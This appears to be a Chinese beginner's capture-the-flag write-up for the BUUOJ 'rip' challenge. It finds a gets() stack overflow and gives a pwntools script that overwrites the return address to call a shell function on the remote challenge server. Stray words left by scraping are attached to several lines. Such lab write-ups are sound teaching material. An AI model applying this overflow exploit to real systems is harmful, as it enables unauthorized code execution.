rip-buuoj

前言

今天開始學pwn,以練促學,學以至用,加油加油node

0x01

拿到文件,首先檢查一下是多少位的,如圖python

能夠看到是64位的文件linux

檢查是否有保護,如圖函數

看到沒有任何保護debug

0x02

ida分析一下函數的邏輯code

進入到反彙編以下,代碼邏輯就是讓咱們輸入,而後結束,咱們主要看一下gets,由於gets有棧溢出漏洞blog

咱們發現輸入的地址空間大小爲15,而後就執行函數返回地址,那麼咱們直接在15後將系統命令函數地址填入便可,或者直接寫函數的名稱,而後取函數地址也能夠rem

0x03

expget

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
elf = ELF("pwn1")
system_addr = elf.symbols["fun"]
content = 0
def main():
    if content == 1:
        p = process("pwn1")
    else:
        p = remote("node3.buuoj.cn",29922)
    
    payload = b'a'*15 + p64(system_addr)

    p.sendline(payload)

    p.interactive()

main()

運行結果class

拿到flag

本站公眾號
   歡迎關注本站公眾號,獲取更多信息